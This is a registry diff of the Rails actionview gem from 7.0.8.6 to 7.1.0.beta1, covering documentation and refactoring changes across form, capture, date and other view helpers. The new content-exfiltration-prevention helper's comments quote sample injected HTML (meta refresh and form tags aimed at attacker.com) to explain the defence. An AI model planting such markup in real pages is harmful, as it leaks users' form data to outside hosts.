actionview 7.0.8.6 → 7.1.0.beta1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (90) hide show
  1. checksums.yaml +4 -4
  2. data/CHANGELOG.md +235 -387
  3. data/MIT-LICENSE +1 -1
  4. data/README.rdoc +1 -1
  5. data/app/assets/javascripts/rails-ujs.esm.js +668 -0
  6. data/app/assets/javascripts/rails-ujs.js +606 -0
  7. data/lib/action_view/base.rb +28 -7
  8. data/lib/action_view/buffers.rb +106 -8
  9. data/lib/action_view/cache_expiry.rb +40 -43
  10. data/lib/action_view/context.rb +1 -1
  11. data/lib/action_view/deprecator.rb +7 -0
  12. data/lib/action_view/digestor.rb +1 -1
  13. data/lib/action_view/gem_version.rb +4 -4
  14. data/lib/action_view/helpers/active_model_helper.rb +1 -1
  15. data/lib/action_view/helpers/asset_tag_helper.rb +130 -46
  16. data/lib/action_view/helpers/asset_url_helper.rb +6 -5
  17. data/lib/action_view/helpers/atom_feed_helper.rb +5 -5
  18. data/lib/action_view/helpers/cache_helper.rb +3 -9
  19. data/lib/action_view/helpers/capture_helper.rb +24 -10
  20. data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
  21. data/lib/action_view/helpers/controller_helper.rb +6 -0
  22. data/lib/action_view/helpers/csp_helper.rb +2 -2
  23. data/lib/action_view/helpers/csrf_helper.rb +2 -2
  24. data/lib/action_view/helpers/date_helper.rb +17 -19
  25. data/lib/action_view/helpers/debug_helper.rb +3 -3
  26. data/lib/action_view/helpers/form_helper.rb +43 -18
  27. data/lib/action_view/helpers/form_options_helper.rb +2 -1
  28. data/lib/action_view/helpers/form_tag_helper.rb +43 -9
  29. data/lib/action_view/helpers/javascript_helper.rb +1 -0
  30. data/lib/action_view/helpers/number_helper.rb +2 -1
  31. data/lib/action_view/helpers/output_safety_helper.rb +2 -2
  32. data/lib/action_view/helpers/rendering_helper.rb +1 -1
  33. data/lib/action_view/helpers/sanitize_helper.rb +33 -14
  34. data/lib/action_view/helpers/tag_helper.rb +5 -27
  35. data/lib/action_view/helpers/tags/base.rb +11 -52
  36. data/lib/action_view/helpers/tags/collection_check_boxes.rb +1 -0
  37. data/lib/action_view/helpers/tags/collection_radio_buttons.rb +1 -0
  38. data/lib/action_view/helpers/tags/collection_select.rb +3 -0
  39. data/lib/action_view/helpers/tags/date_field.rb +1 -1
  40. data/lib/action_view/helpers/tags/date_select.rb +2 -0
  41. data/lib/action_view/helpers/tags/datetime_field.rb +14 -6
  42. data/lib/action_view/helpers/tags/datetime_local_field.rb +11 -2
  43. data/lib/action_view/helpers/tags/grouped_collection_select.rb +3 -0
  44. data/lib/action_view/helpers/tags/month_field.rb +1 -1
  45. data/lib/action_view/helpers/tags/select.rb +3 -0
  46. data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
  47. data/lib/action_view/helpers/tags/time_field.rb +1 -1
  48. data/lib/action_view/helpers/tags/time_zone_select.rb +3 -0
  49. data/lib/action_view/helpers/tags/week_field.rb +1 -1
  50. data/lib/action_view/helpers/tags/weekday_select.rb +3 -0
  51. data/lib/action_view/helpers/tags.rb +2 -0
  52. data/lib/action_view/helpers/text_helper.rb +32 -16
  53. data/lib/action_view/helpers/translation_helper.rb +3 -3
  54. data/lib/action_view/helpers/url_helper.rb +41 -14
  55. data/lib/action_view/helpers.rb +2 -0
  56. data/lib/action_view/layouts.rb +4 -2
  57. data/lib/action_view/log_subscriber.rb +49 -32
  58. data/lib/action_view/lookup_context.rb +29 -13
  59. data/lib/action_view/path_registry.rb +57 -0
  60. data/lib/action_view/path_set.rb +13 -14
  61. data/lib/action_view/railtie.rb +26 -3
  62. data/lib/action_view/record_identifier.rb +15 -8
  63. data/lib/action_view/renderer/abstract_renderer.rb +1 -1
  64. data/lib/action_view/renderer/collection_renderer.rb +9 -1
  65. data/lib/action_view/renderer/partial_renderer/collection_caching.rb +2 -1
  66. data/lib/action_view/renderer/partial_renderer.rb +2 -1
  67. data/lib/action_view/renderer/renderer.rb +2 -0
  68. data/lib/action_view/renderer/streaming_template_renderer.rb +3 -2
  69. data/lib/action_view/renderer/template_renderer.rb +3 -2
  70. data/lib/action_view/rendering.rb +22 -4
  71. data/lib/action_view/ripper_ast_parser.rb +6 -6
  72. data/lib/action_view/template/error.rb +14 -1
  73. data/lib/action_view/template/handlers/builder.rb +4 -4
  74. data/lib/action_view/template/handlers/erb/erubi.rb +23 -27
  75. data/lib/action_view/template/handlers/erb.rb +73 -1
  76. data/lib/action_view/template/handlers.rb +1 -1
  77. data/lib/action_view/template/html.rb +1 -1
  78. data/lib/action_view/template/raw_file.rb +1 -1
  79. data/lib/action_view/template/renderable.rb +1 -1
  80. data/lib/action_view/template/resolver.rb +10 -2
  81. data/lib/action_view/template/text.rb +1 -1
  82. data/lib/action_view/template/types.rb +25 -34
  83. data/lib/action_view/template.rb +179 -52
  84. data/lib/action_view/template_path.rb +2 -0
  85. data/lib/action_view/test_case.rb +8 -5
  86. data/lib/action_view/unbound_template.rb +15 -5
  87. data/lib/action_view/version.rb +1 -1
  88. data/lib/action_view/view_paths.rb +15 -24
  89. data/lib/action_view.rb +4 -1
  90. metadata +29 -29
@@ -3,8 +3,9 @@
3
3
  require "zlib"
4
4
 
5
5
  module ActionView
6
- # = Action View Asset URL Helpers
7
6
  module Helpers # :nodoc:
7
+ # = Action View Asset URL \Helpers
8
+ #
8
9
  # This module provides methods for generating asset paths and
9
10
  # URLs.
10
11
  #
@@ -16,8 +17,8 @@ module ActionView
16
17
  #
17
18
  # === Using asset hosts
18
19
  #
19
- # By default, Rails links to these assets on the current host in the public
20
- # folder, but you can direct Rails to link to assets from a dedicated asset
20
+ # By default, \Rails links to these assets on the current host in the public
21
+ # folder, but you can direct \Rails to link to assets from a dedicated asset
21
22
  # server by setting <tt>ActionController::Base.asset_host</tt> in the application
22
23
  # configuration, typically in <tt>config/environments/production.rb</tt>.
23
24
  # For example, you'd define <tt>assets.example.com</tt> to be your asset
@@ -196,7 +197,7 @@ module ActionView
196
197
  source = "#{source}#{extname}"
197
198
  end
198
199
 
199
- if source[0] != ?/
200
+ unless source.start_with?(?/)
200
201
  if options[:skip_pipeline]
201
202
  source = public_compute_asset_path(source, options)
202
203
  else
@@ -372,7 +373,7 @@ module ActionView
372
373
  # image_path("http://www.example.com/img/edit.png") # => "http://www.example.com/img/edit.png"
373
374
  #
374
375
  # If you have images as application resources this method may conflict with their named routes.
375
- # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
376
+ # The alias +path_to_image+ is provided to avoid that. \Rails uses the alias internally, and
376
377
  # plugin authors are encouraged to do so.
377
378
  def image_path(source, options = {})
378
379
  path_to_asset(source, { type: :image }.merge!(options))
@@ -3,8 +3,8 @@
3
3
  require "set"
4
4
 
5
5
  module ActionView
6
- # = Action View Atom Feed Helpers
7
6
  module Helpers # :nodoc:
7
+ # = Action View Atom Feed \Helpers
8
8
  module AtomFeedHelper
9
9
  # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
10
10
  # template languages).
@@ -82,9 +82,9 @@ module ActionView
82
82
  # end
83
83
  #
84
84
  # The Atom spec defines five elements (content rights title subtitle
85
- # summary) which may directly contain xhtml content if type: 'xhtml'
85
+ # summary) which may directly contain XHTML content if type: 'xhtml'
86
86
  # is specified as an attribute. If so, this helper will take care of
87
- # the enclosing div and xhtml namespace declaration. Example usage:
87
+ # the enclosing div and XHTML namespace declaration. Example usage:
88
88
  #
89
89
  # entry.summary type: 'xhtml' do |xhtml|
90
90
  # xhtml.p pluralize(order.line_items.count, "line item")
@@ -102,7 +102,7 @@ module ActionView
102
102
  options[:schema_date] = "2005" # The Atom spec copyright date
103
103
  end
104
104
 
105
- xml = options.delete(:xml) || eval("xml", block.binding)
105
+ xml = options.delete(:xml) || block.binding.local_variable_get(:xml)
106
106
  xml.instruct!
107
107
  if options[:instruct]
108
108
  options[:instruct].each do |target, attrs|
@@ -134,7 +134,7 @@ module ActionView
134
134
  end
135
135
 
136
136
  private
137
- # Delegate to xml builder, first wrapping the element in an xhtml
137
+ # Delegate to XML Builder, first wrapping the element in an XHTML
138
138
  # namespaced div element if the method and arguments indicate
139
139
  # that an xhtml_block? is desired.
140
140
  def method_missing(method, *arguments, &block)
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View Cache Helper
5
4
  module Helpers # :nodoc:
5
+ # = Action View Cache \Helpers
6
6
  module CacheHelper
7
7
  class UncacheableFragmentError < StandardError; end
8
8
 
@@ -281,14 +281,8 @@ module ActionView
281
281
  controller.read_fragment(name, options)
282
282
  end
283
283
 
284
- def write_fragment_for(name, options)
285
- pos = output_buffer.length
286
- yield
287
- output_safe = output_buffer.html_safe?
288
- fragment = output_buffer.slice!(pos..-1)
289
- if output_safe
290
- self.output_buffer = output_buffer.class.new(output_buffer)
291
- end
284
+ def write_fragment_for(name, options, &block)
285
+ fragment = output_buffer.capture(&block)
292
286
  controller.write_fragment(name, fragment, options)
293
287
  end
294
288
 
@@ -3,18 +3,22 @@
3
3
  require "active_support/core_ext/string/output_safety"
4
4
 
5
5
  module ActionView
6
- # = Action View Capture Helper
7
6
  module Helpers # :nodoc:
8
- # CaptureHelper exposes methods to let you extract generated markup which
7
+ # = Action View Capture \Helpers
8
+ #
9
+ # \CaptureHelper exposes methods to let you extract generated markup which
9
10
  # can be used in other parts of a template or layout file.
10
11
  #
11
- # It provides a method to capture blocks into variables through capture and
12
- # a way to capture a block of markup for use in a layout through {content_for}[rdoc-ref:ActionView::Helpers::CaptureHelper#content_for].
12
+ # It provides a method to capture blocks into variables through #capture and
13
+ # a way to capture a block of markup for use in a layout through #content_for.
14
+ #
15
+ # As well as provides a method when using streaming responses through #provide.
16
+ # See ActionController::Streaming for more information.
13
17
  module CaptureHelper
14
- # The capture method extracts part of a template as a String object.
18
+ # The capture method extracts part of a template as a string object.
15
19
  # You can then use this object anywhere in your templates, layout, or helpers.
16
20
  #
17
- # The capture method can be used in ERB templates...
21
+ # The capture method can be used in \ERB templates...
18
22
  #
19
23
  # <% @greeting = capture do %>
20
24
  # Welcome to my shiny new web page! The date and time is
@@ -40,11 +44,18 @@ module ActionView
40
44
  #
41
45
  # @greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
42
46
  #
43
- def capture(*args)
47
+ def capture(*args, &block)
44
48
  value = nil
45
- buffer = with_output_buffer { value = yield(*args) }
46
- if (string = buffer.presence || value) && string.is_a?(String)
47
- ERB::Util.html_escape string
49
+ @output_buffer ||= ActionView::OutputBuffer.new
50
+ buffer = @output_buffer.capture { value = yield(*args) }
51
+
52
+ case string = buffer.presence || value
53
+ when OutputBuffer
54
+ string.to_s
55
+ when ActiveSupport::SafeBuffer
56
+ string
57
+ when String
58
+ ERB::Util.html_escape(string)
48
59
  end
49
60
  end
50
61
 
@@ -172,6 +183,8 @@ module ActionView
172
183
  # concatenate several times to the same buffer when rendering a given
173
184
  # template, you should use +content_for+, if not, use +provide+ to tell
174
185
  # the layout to stop looking for more contents.
186
+ #
187
+ # See ActionController::Streaming for more information.
175
188
  def provide(name, content = nil, &block)
176
189
  content = capture(&block) if block_given?
177
190
  result = @view_flow.append!(name, content) if content
@@ -179,6 +192,7 @@ module ActionView
179
192
  end
180
193
 
181
194
  # <tt>content_for?</tt> checks whether any content has been captured yet using <tt>content_for</tt>.
195
+ #
182
196
  # Useful to render parts of your layout differently based on what is in your views.
183
197
  #
184
198
  # <%# This is the layout %>
@@ -0,0 +1,70 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers
5
+ module ContentExfiltrationPreventionHelper
6
+ mattr_accessor :prepend_content_exfiltration_prevention, default: false
7
+
8
+ # Close any open attributes before each form tag. This prevents attackers from
9
+ # injecting partial tags that could leak markup offsite.
10
+ #
11
+ # For example, an attacker might inject:
12
+ #
13
+ # <meta http-equiv="refresh" content='0;URL=https://attacker.com?
14
+ #
15
+ # The HTML following this tag, up until the next single quote would be sent to
16
+ # +https://attacker.com+. By closing any open attributes, we ensure that form
17
+ # contents are never exfiltrated this way.
18
+ CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
19
+
20
+ # Close any open tags that support CDATA (textarea, xmp) before each form tag.
21
+ # This prevents attackers from injecting unclosed tags that could capture
22
+ # form contents.
23
+ #
24
+ # For example, an attacker might inject:
25
+ #
26
+ # <form action="https://attacker.com"><textarea>
27
+ #
28
+ # The HTML following this tag, up until the next <tt></textarea></tt> or
29
+ # the end of the document would be captured by the attacker's
30
+ # <tt><textarea></tt>. By closing any open textarea tags, we ensure that
31
+ # form contents are never exfiltrated.
32
+ CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
33
+
34
+ # Close any open option tags before each form tag. This prevents attackers
35
+ # from injecting unclosed options that could leak markup offsite.
36
+ #
37
+ # For example, an attacker might inject:
38
+ #
39
+ # <form action="https://attacker.com"><option>
40
+ #
41
+ # The HTML following this tag, up until the next <tt></option></tt> or the
42
+ # end of the document would be captured by the attacker's
43
+ # <tt><option></tt>. By closing any open option tags, we ensure that form
44
+ # contents are never exfiltrated.
45
+ CLOSE_OPTION_TAG = "</option>".html_safe.freeze
46
+
47
+ # Close any open form tags before each new form tag. This prevents attackers
48
+ # from injecting unclosed forms that could leak markup offsite.
49
+ #
50
+ # For example, an attacker might inject:
51
+ #
52
+ # <form action="https://attacker.com">
53
+ #
54
+ # The form elements following this tag, up until the next <tt></form></tt>
55
+ # would be captured by the attacker's <tt><form></tt>. By closing any open
56
+ # form tags, we ensure that form contents are never exfiltrated.
57
+ CLOSE_FORM_TAG = "</form>".html_safe.freeze
58
+
59
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
60
+
61
+ def prevent_content_exfiltration(html)
62
+ if prepend_content_exfiltration_prevention
63
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
64
+ else
65
+ html
66
+ end
67
+ end
68
+ end
69
+ end
70
+ end
@@ -4,6 +4,8 @@ require "active_support/core_ext/module/attr_internal"
4
4
 
5
5
  module ActionView
6
6
  module Helpers # :nodoc:
7
+ # = Action View Controller \Helpers
8
+ #
7
9
  # This module keeps all methods and behavior in ActionView
8
10
  # that simply delegates to the controller.
9
11
  module ControllerHelper # :nodoc:
@@ -20,6 +22,10 @@ module ActionView
20
22
  @_request = controller.request if controller.respond_to?(:request)
21
23
  @_config = controller.config.inheritable_copy if controller.respond_to?(:config)
22
24
  @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
25
+ else
26
+ @_request ||= nil
27
+ @_config ||= nil
28
+ @_default_form_builder ||= nil
23
29
  end
24
30
  end
25
31
 
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View CSP Helper
5
4
  module Helpers # :nodoc:
5
+ # = Action View CSP \Helpers
6
6
  module CspHelper
7
7
  # Returns a meta tag "csp-nonce" with the per-session nonce value
8
8
  # for allowing inline <script> tags.
@@ -11,7 +11,7 @@ module ActionView
11
11
  # <%= csp_meta_tag %>
12
12
  # </head>
13
13
  #
14
- # This is used by the Rails UJS helper to create dynamically
14
+ # This is used by the \Rails UJS helper to create dynamically
15
15
  # loaded inline <script> elements.
16
16
  #
17
17
  def csp_meta_tag(**options)
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View CSRF Helper
5
4
  module Helpers # :nodoc:
5
+ # = Action View CSRF \Helpers
6
6
  module CsrfHelper
7
7
  # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
8
8
  # request forgery protection parameter and token, respectively.
@@ -16,7 +16,7 @@ module ActionView
16
16
  #
17
17
  # You don't need to use these tags for regular forms as they generate their own hidden fields.
18
18
  #
19
- # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
19
+ # For Ajax requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
20
20
  # +X-CSRF-Token+ HTTP header. If you are using rails-ujs, this happens automatically.
21
21
  #
22
22
  def csrf_meta_tags
@@ -10,7 +10,7 @@ require "active_support/core_ext/object/with_options"
10
10
 
11
11
  module ActionView
12
12
  module Helpers # :nodoc:
13
- # = Action View Date Helpers
13
+ # = Action View \Date \Helpers
14
14
  #
15
15
  # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
16
16
  # elements. All of the select-type methods share a number of common options that are as follows:
@@ -72,7 +72,7 @@ module ActionView
72
72
  # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
73
73
  # distance_of_time_in_words(Time.now, Time.now) # => less than a minute
74
74
  #
75
- # With the <tt>scope</tt> option, you can define a custom scope for Rails
75
+ # With the <tt>scope</tt> option, you can define a custom scope for \Rails
76
76
  # to look up the translation.
77
77
  #
78
78
  # For example you can define the following in your locale (e.g. en.yml).
@@ -217,7 +217,7 @@ module ActionView
217
217
  # * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
218
218
  # customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
219
219
  # select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
220
- # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
220
+ # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with \Rails).
221
221
  # * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
222
222
  # dates.
223
223
  # * <tt>:default</tt> - Set a default date if the affected date isn't set or is +nil+.
@@ -320,6 +320,10 @@ module ActionView
320
320
  # # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
321
321
  # time_select 'game', 'game_time', { ampm: true }
322
322
  #
323
+ # # You can set :ignore_date option to true which will remove the hidden inputs for day,
324
+ # # month, and year that are set by default on this helper when you only want the time inputs
325
+ # time_select 'game', 'game_time', { ignore_date: true }
326
+ #
323
327
  # The selects are prepared for multi-parameter assignment to an Active Record object.
324
328
  #
325
329
  # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
@@ -844,14 +848,14 @@ module ActionView
844
848
  if @options[:use_hidden] || @options[:discard_year]
845
849
  build_hidden(:year, val)
846
850
  else
847
- options = {}
848
- options[:start] = @options[:start_year] || middle_year - 5
849
- options[:end] = @options[:end_year] || middle_year + 5
850
- options[:step] = options[:start] < options[:end] ? 1 : -1
851
- options[:leading_zeros] = false
852
- options[:max_years_allowed] = @options[:max_years_allowed] || 1000
853
-
854
- if (options[:end] - options[:start]).abs > options[:max_years_allowed]
851
+ options = {}
852
+ options[:start] = @options[:start_year] || middle_year - 5
853
+ options[:end] = @options[:end_year] || middle_year + 5
854
+ options[:step] = options[:start] < options[:end] ? 1 : -1
855
+
856
+ max_years_allowed = @options[:max_years_allowed] || 1000
857
+
858
+ if (options[:end] - options[:start]).abs > max_years_allowed
855
859
  raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
856
860
  end
857
861
 
@@ -936,7 +940,7 @@ module ActionView
936
940
  #
937
941
  # month_name(1) # => 1
938
942
  #
939
- # If the <tt>:use_two_month_numbers</tt> option is passed:
943
+ # If the <tt>:use_two_digit_numbers</tt> option is passed:
940
944
  #
941
945
  # month_name(1) # => '01'
942
946
  #
@@ -1076,17 +1080,11 @@ module ActionView
1076
1080
  end
1077
1081
 
1078
1082
  # Build select option HTML for year.
1079
- # If <tt>year_format</tt> option is not passed
1083
+ #
1080
1084
  # build_year_options(1998, start: 1998, end: 2000)
1081
1085
  # => "<option value="1998" selected="selected">1998</option>
1082
1086
  # <option value="1999">1999</option>
1083
1087
  # <option value="2000">2000</option>"
1084
- #
1085
- # If <tt>year_format</tt> option is passed
1086
- # build_year_options(1998, start: 1998, end: 2000, year_format: ->year { "Heisei #{ year - 1988 }" })
1087
- # => "<option value="1998" selected="selected">Heisei 10</option>
1088
- # <option value="1999">Heisei 11</option>
1089
- # <option value="2000">Heisei 12</option>"
1090
1088
  def build_year_options(selected, options = {})
1091
1089
  start = options.delete(:start)
1092
1090
  stop = options.delete(:end)
@@ -3,10 +3,10 @@
3
3
  require "action_view/helpers/tag_helper"
4
4
 
5
5
  module ActionView
6
- # = Action View Debug Helper
7
- #
8
- # Provides a set of methods for making it easier to debug Rails objects.
9
6
  module Helpers # :nodoc:
7
+ # = Action View Debug \Helpers
8
+ #
9
+ # Provides a set of methods for making it easier to debug \Rails objects.
10
10
  module DebugHelper
11
11
  include TagHelper
12
12
 
@@ -13,8 +13,9 @@ require "active_support/core_ext/string/output_safety"
13
13
  require "active_support/core_ext/string/inflections"
14
14
 
15
15
  module ActionView
16
- # = Action View Form Helpers
17
16
  module Helpers # :nodoc:
17
+ # = Action View Form \Helpers
18
+ #
18
19
  # Form helpers are designed to make working with resources much easier
19
20
  # compared to using vanilla HTML.
20
21
  #
@@ -28,7 +29,7 @@ module ActionView
28
29
  # when the form is initially displayed, input fields corresponding to attributes
29
30
  # of the resource should show the current values of those attributes.
30
31
  #
31
- # In Rails, this is usually achieved by creating the form using +form_for+ and
32
+ # In \Rails, this is usually achieved by creating the form using +form_for+ and
32
33
  # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
33
34
  # tag and yields a form builder object that knows the model the form is about.
34
35
  # Input fields are created by calling methods defined on the form builder, which
@@ -122,7 +123,7 @@ module ActionView
122
123
  # of a specific model object.
123
124
  #
124
125
  # The method can be used in several slightly different ways, depending on
125
- # how much you wish to rely on Rails to infer automatically from the model
126
+ # how much you wish to rely on \Rails to infer automatically from the model
126
127
  # how the form should be constructed. For a generic model object, a form
127
128
  # can be created by passing +form_for+ a string or symbol representing
128
129
  # the object we are concerned with:
@@ -251,7 +252,7 @@ module ActionView
251
252
  # form is going to be sent. However, further simplification is possible
252
253
  # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
253
254
  # to a set of RESTful routes, e.g. defined using the +resources+ method
254
- # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
255
+ # in <tt>config/routes.rb</tt>. In this case \Rails will simply infer the
255
256
  # appropriate URL from the record itself. For example,
256
257
  #
257
258
  # <%= form_for @post do |f| %>
@@ -438,7 +439,7 @@ module ActionView
438
439
  model = nil
439
440
  object_name = record
440
441
  else
441
- model = convert_to_model(record)
442
+ model = record
442
443
  object = _object_for_form_builder(record)
443
444
  raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
444
445
  object_name = options[:as] || model_name_from_record_or_class(object).param_key
@@ -465,13 +466,12 @@ module ActionView
465
466
 
466
467
  as = options[:as]
467
468
  namespace = options[:namespace]
468
- action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
469
+ action = object.respond_to?(:persisted?) && object.persisted? ? :edit : :new
469
470
  options[:html] ||= {}
470
471
  options[:html].reverse_merge!(
471
472
  class: as ? "#{action}_#{as}" : dom_class(object, action),
472
473
  id: (as ? [namespace, action, as] : [namespace, dom_id(object, action)]).compact.join("_").presence,
473
474
  )
474
- options[:method] ||= method
475
475
  end
476
476
  private :apply_form_for_options!
477
477
 
@@ -497,7 +497,7 @@ module ActionView
497
497
  # <%= form.text_field :title %>
498
498
  # <% end %>
499
499
  # # =>
500
- # <form method="post" data-remote="true">
500
+ # <form method="post">
501
501
  # <input type="text" name="title">
502
502
  # </form>
503
503
  #
@@ -556,7 +556,7 @@ module ActionView
556
556
  # is a _resource_. It corresponds to a set of RESTful routes, most likely
557
557
  # defined via +resources+ in <tt>config/routes.rb</tt>.
558
558
  #
559
- # So when passing such a model record, Rails infers the URL and method.
559
+ # So when passing such a model record, \Rails infers the URL and method.
560
560
  #
561
561
  # <%= form_with model: @post do |form| %>
562
562
  # ...
@@ -619,12 +619,12 @@ module ActionView
619
619
  # * <tt>:local</tt> - Whether to use standard HTTP form submission.
620
620
  # When set to <tt>true</tt>, the form is submitted via standard HTTP.
621
621
  # When set to <tt>false</tt>, the form is submitted as a "remote form", which
622
- # is handled by Rails UJS as an XHR. When unspecified, the behavior is derived
622
+ # is handled by \Rails UJS as an XHR. When unspecified, the behavior is derived
623
623
  # from <tt>config.action_view.form_with_generates_remote_forms</tt> where the
624
624
  # config's value is actually the inverse of what <tt>local</tt>'s value would be.
625
- # As of Rails 6.1, that configuration option defaults to <tt>false</tt>
625
+ # As of \Rails 6.1, that configuration option defaults to <tt>false</tt>
626
626
  # (which has the equivalent effect of passing <tt>local: true</tt>).
627
- # In previous versions of Rails, that configuration option defaults to
627
+ # In previous versions of \Rails, that configuration option defaults to
628
628
  # <tt>true</tt> (the equivalent of passing <tt>local: false</tt>).
629
629
  # * <tt>:skip_enforcing_utf8</tt> - If set to true, a hidden input with name
630
630
  # utf8 is not output.
@@ -757,10 +757,14 @@ module ActionView
757
757
 
758
758
  if model
759
759
  if url != false
760
- url ||= polymorphic_path(model, format: format)
760
+ url ||= if format.nil?
761
+ polymorphic_path(model, {})
762
+ else
763
+ polymorphic_path(model, format: format)
764
+ end
761
765
  end
762
766
 
763
- model = _object_for_form_builder(model)
767
+ model = convert_to_model(_object_for_form_builder(model))
764
768
  scope ||= model_name_from_record_or_class(model).param_key
765
769
  end
766
770
 
@@ -1312,7 +1316,7 @@ module ActionView
1312
1316
  # ...
1313
1317
  # <% end %>
1314
1318
  #
1315
- # because parameter name repetition is precisely what Rails seeks to distinguish
1319
+ # because parameter name repetition is precisely what \Rails seeks to distinguish
1316
1320
  # the elements of the array. For each item with a checked check box you
1317
1321
  # get an extra ghost item with only that attribute, assigned to "0".
1318
1322
  #
@@ -1495,6 +1499,12 @@ module ActionView
1495
1499
  # datetime_field("user", "born_on", min: "2014-05-20T00:00:00")
1496
1500
  # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
1497
1501
  #
1502
+ # By default, provided datetimes will be formatted including seconds. You can render just the date, hour,
1503
+ # and minute by passing <tt>include_seconds: false</tt>.
1504
+ #
1505
+ # @user.born_on = Time.current
1506
+ # datetime_field("user", "born_on", include_seconds: false)
1507
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="2014-05-20T14:35" />
1498
1508
  def datetime_field(object_name, method, options = {})
1499
1509
  Tags::DatetimeLocalField.new(object_name, method, self, options).render
1500
1510
  end
@@ -1611,6 +1621,8 @@ module ActionView
1611
1621
  end
1612
1622
  end
1613
1623
 
1624
+ # = Action View Form Builder
1625
+ #
1614
1626
  # A +FormBuilder+ object is associated with a particular model object and
1615
1627
  # allows you to generate fields associated with the model object. The
1616
1628
  # +FormBuilder+ object is yielded when using +form_for+ or +fields_for+.
@@ -2075,6 +2087,18 @@ module ActionView
2075
2087
  # DateHelper that are designed to work with an object as base, like
2076
2088
  # FormOptionsHelper#collection_select and DateHelper#datetime_select.
2077
2089
  #
2090
+ # +fields_for+ tries to be smart about parameters, but it can be confused if both
2091
+ # name and value parameters are provided and the provided value has the shape of an
2092
+ # option Hash. To remove the ambiguity, explicitly pass an option Hash, even if empty.
2093
+ #
2094
+ # <%= form_for @person do |person_form| %>
2095
+ # ...
2096
+ # <%= fields_for :permission, @person.permission, {} do |permission_fields| %>
2097
+ # Admin?: <%= check_box_tag permission_fields.field_name(:admin), @person.permission[:admin] %>
2098
+ # <% end %>
2099
+ # ...
2100
+ # <% end %>
2101
+ #
2078
2102
  # === Nested Attributes Examples
2079
2103
  #
2080
2104
  # When the object belonging to the current scope has a nested attribute
@@ -2255,8 +2279,9 @@ module ActionView
2255
2279
  # to store the ID of the record. There are circumstances where this
2256
2280
  # hidden field is not needed and you can pass <tt>include_id: false</tt>
2257
2281
  # to prevent fields_for from rendering it automatically.
2258
- def fields_for(record_name, record_object = nil, fields_options = {}, &block)
2259
- fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
2282
+ def fields_for(record_name, record_object = nil, fields_options = nil, &block)
2283
+ fields_options, record_object = record_object, nil if fields_options.nil? && record_object.is_a?(Hash) && record_object.extractable_options?
2284
+ fields_options ||= {}
2260
2285
  fields_options[:builder] ||= options[:builder]
2261
2286
  fields_options[:namespace] = options[:namespace]
2262
2287
  fields_options[:parent_builder] = self
@@ -2413,7 +2438,7 @@ module ActionView
2413
2438
  # ...
2414
2439
  # <% end %>
2415
2440
  #
2416
- # because parameter name repetition is precisely what Rails seeks to distinguish
2441
+ # because parameter name repetition is precisely what \Rails seeks to distinguish
2417
2442
  # the elements of the array. For each item with a checked check box you
2418
2443
  # get an extra ghost item with only that attribute, assigned to "0".
2419
2444
  #
@@ -8,8 +8,9 @@ require "active_support/core_ext/array/wrap"
8
8
  require "action_view/helpers/text_helper"
9
9
 
10
10
  module ActionView
11
- # = Action View Form Option Helpers
12
11
  module Helpers # :nodoc:
12
+ # = Action View Form Option \Helpers
13
+ #
13
14
  # Provides a number of methods for turning different kinds of containers into a set of option tags.
14
15
  #
15
16
  # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash: